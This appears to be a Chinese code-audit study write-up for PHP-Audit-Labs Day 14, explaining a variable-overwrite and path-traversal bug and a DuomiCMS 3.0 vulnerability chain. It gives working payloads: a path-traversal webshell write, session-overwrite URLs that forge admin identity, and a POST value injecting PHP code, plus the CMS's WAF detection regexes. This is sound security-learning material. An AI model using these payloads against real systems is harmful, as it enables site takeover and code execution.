开始练习【红日团队】的PHP-Audit-Labs 代码审计 Day14
链接:https://github.com/hongriSec/PHP-Audit-Labs
感兴趣的同学可以去练习练习
预备知识:
内容题目均来自 PHP SECURITY CALENDAR 2017
Day 14 - Snowman代码如下:
class Carrot {
const EXTERNAL_DIRECTORY = '/tmp/';
private $id;
private $lost = 0;
private $bought = 0;
public function __construct($input) {
$this->id = rand(1, 1000);
foreach ($input as $field => $count) {
$this->$field = $count++;
}
}
public function __destruct() {
file_put_contents(
self::EXTERNAL_DIRECTORY . $this->id,
var_export(get_object_vars($this), true)
);
}
}
$carrot = new Carrot($_GET);
漏洞解析 :
这道题目讲的是一个 变量覆盖
与 路径穿越
问题。在 第10-11行
处,
foreach ($input as $field => $count) {
$this->$field = $count++;
}
Carrot
类的构造方法将超全局数组$_GET
进行变量注册,这样即可覆盖第8行
已定义的 $this->
变量。
$this->id = rand(1, 1000);
而在第16-18行
处的析构函数中
file_put_contents(
self::EXTERNAL_DIRECTORY . $this->id,
var_export(get_object_vars($this), true)
);
file_put_contents
函数的第一个参数又是由 $this->
变量拼接的,这就导致我们可以控制写入文件的位置,最终造成任意文件写入问题。下面我们试着使用 payload
:id=../var/www/html/shell.php&shell=',)%0a//
写入 webshell :
本次实例分析, 我们选取的是
DuomiCMS_3.0
最新版进行相关漏洞分析 。
该CMS存在全局变量注册问题,如果程序编写不当,会导致变量覆盖,本次我们便来分析 由变量覆盖导致的getshell
问题。
首先我们先来看一下该CMS中的全局变量注册代码,该代码位于duomiphp/common.php
(36-55行)文件中,如下:
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
其中_RunMagicQuotes
函数将特殊符号,使用 addslashes
函数进行转义处理。我们来搜索 fwrite
函数,看看是否存在可利用的写文件程序(为了写 shell
)。phpstorm
程序搜索结果如下:
我们可以看到有一个 admin\admin_ping.php
文件中,存在可利用的地方,因为其写入的目标文件为 PHP
程序,且写入内容中存在两个可控变量。其代码具体如下:
$weburl
变量和 $token
变量从 POST方式
获取,其变量也只是经过 _RunMagicQuotes
函数过滤处理,以及duomiphp\webscan.php
文件的过滤规则(18-22行),
$getfilter = "\\<.+javascript:window\\[.{1}\\\\x|<.*=(\\d+?;?)+?>|<.*
(data|src)=data:text\\/html.*>|\\b(alert\\(|confirm\\(|expression\\(|prompt\\
(|benchmark\s*?\(.*\)|sleep\s*?\(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\
([^\\)]+?\\)|\bcase[\s\/\*]*?when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[a-
z]+?\\b[^>]*?\\bon([a-z]{4,})\s*?=|^\\+\\/v(8|9)|\\b(and|or)\\b\\s*?([\\
(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?
[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|
<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|
(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?
(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?
\\s+?|(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|
(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter = "<.*=(\\d+?;?)+?>|<.*data=data:text\\/html.*>|\\b(alert\\
(|confirm\\(|expression\\(|prompt\\(|benchmark\s*?\(.*\)|sleep\s*?\
(.*\)|\\b(group_)?concat[\\s\\/\\*]*?\\([^\\)]+?\\)|\bcase[\s\/\*]*?
when[\s\/\*]*?\([^\)]+?\)|load_file\s*?\\()|<[^>]*?
\\b(onerror|onmousemove|onload|onclick|onmouseover)\\b|\\b(and|or)\\b\\s*?([\\
(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\(\\)'\"a-zA-Z]+?|>|<|\s+?
[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?[\"'])|\\/\\*.*\\*\\/|
<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|
(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?
(`|'|\")\s*)SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE)(\\(.+\\)|\\s+?.+?\\s+?|
(`|'|\").*?(`|'|\"))FROM(\\(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|
(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$cookiefilter = "benchmark\s*?\(.*\)|sleep\s*?\(.*\)|load_file\s*?\\
(|\\b(and|or)\\b\\s*?([\\(\\)'\"\\d]+?=[\\(\\)'\"\\d]+?|[\\(\\)'\"a-zA-Z]+?=[\\
(\\)'\"a-zA-Z]+?|>|<|\s+?[\\w]+?\\s+?\\bin\\b\\s*?\(|\\blike\\b\\s+?
[\"'])|\\/\\*.*\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT\s*(\
(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)|UPDATE\s*(\
(.+\)\s*|@{1,2}.+?\s*|\s+?.+?|(`|'|\").*?(`|'|\")\s*)SET|INSERT\\s+INTO.+?
VALUES|(SELECT|DELETE)@{0,2}(\\(.+\\)|\\s+?.+?\\s+?|(`|'|\").*?(`|'|\"))FROM(\\
(.+\\)|\\s+?.+?|(`|'|\").*?(`|'|\"))|(CREATE|ALTER|DROP|TRUNCATE)\\s+
(TABLE|DATABASE)";
但是并不影响我们写shell。
然而要想利用这个文件,我们就必须是admin
身份,不然没有权限访问该文件。所以我们看看该CMS是如何对用户身份进行认定的,是否可以利用之前的变量覆盖来伪造身份呢?
跟进 admin\admin_ping.php
文件开头包含的 admin\config.php
文件,那么我们要关注的是如下代码:
我们需要知道程序是如何对用户的身份进行处理的,跟进duomiphp\check.admin.php
文件(34-54行),关注如下代码:
我们可以看到这里记录了用户名字
、所属组
、用户
,再来看看 admin
所对应的这三个值分别是多少。找到 admin\login.php
文件(57-88行)
if(!empty($userid) && !empty($pwd))
{
$res = $cuserLogin->checkUser($userid,$pwd);
//success
if($res==1)
{
$cuserLogin->keepUser();
if(!empty($gotopage))
{
ShowMsg('成功登录,正在转向管理管理主页!',$gotopage);
exit();
}
else
{
ShowMsg('成功登录,正在转向管理管理主页!',"index.php");
exit();
}
}
//error
else if($res==-1)
{
ShowMsg('你的用户名不存在!','-1');
exit();
}
else
{
ShowMsg('你的密码错误!','-1');
exit();
}
}
其中第3行开始,我们只要让checkUser
方法返回1即是admin用户
。
跟进 duomiphp\check.admin.php
文件(72-101行)的 checkUser
方法,具体代码如下:
function checkUser($username,$userpwd)
{
global $dsql;
//只允许用户名和密码用0-9,a-z,A-Z,'@','_','.','-'这些字符
$this->userName = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$username);
$this->userPwd = m_ereg_replace("[^0-9a-zA-Z_@!\.-]",'',$userpwd);
$pwd = substr(md5($this->userPwd),5,20);
$dsql->SetQuery("Select * From `duomi_admin` where name like '".$this->userName."' and state='1' limit 0,1");
$dsql->Execute();
$row = $dsql->GetObject();
if(!isset($row->password))
{
return -1;
}
else if($pwd!=$row->password)
{
return -2;
}
else
{
$loginip = GetIP();
$this->userID = $row->id;
$this->groupid = $row->groupid;
$this->userName = $row->name;
$inquery = "update `duomi_admin` set loginip='$loginip',logintime='".time()."' where id='".$row->id."'";
$dsql->ExecuteNoneQuery($inquery);
return 1;
}
}
我们直接使用正确admin账号密码登录后台,可以观察到admin用户对应的用户和所属组均为1。
那么现在我们只要利用变量覆盖漏洞,覆盖 session
的值,从而伪造 admin
身份,然后就可以愉快的写shell了。
我们需要先找一些开启session_start
函数的程序来辅助我们伪造身份,我们这里就选择 member/share.php
文件。
我们先访问如下 payload
:
http://10.211.55.5/member/share.php?_SESSION[duomi_group_]=1&_SESSION[duomi_admin_]=1
http://10.211.55.5/admin/admin_ping.php?action=set
post:
weburl=";phpinfo();//&token=
实际上,这个漏洞和Dedecms
变量覆盖漏洞很相似。而在Dedecms
的官方修复代码中,多了检测变量名是否为PHP原有的超全局数组,如果是,则直接退出并告知变量不允许,具体修复代码如下:
再次感谢【红日团队】
PHP的两个特性导致waf绕过注入
request导致的安全性问题分析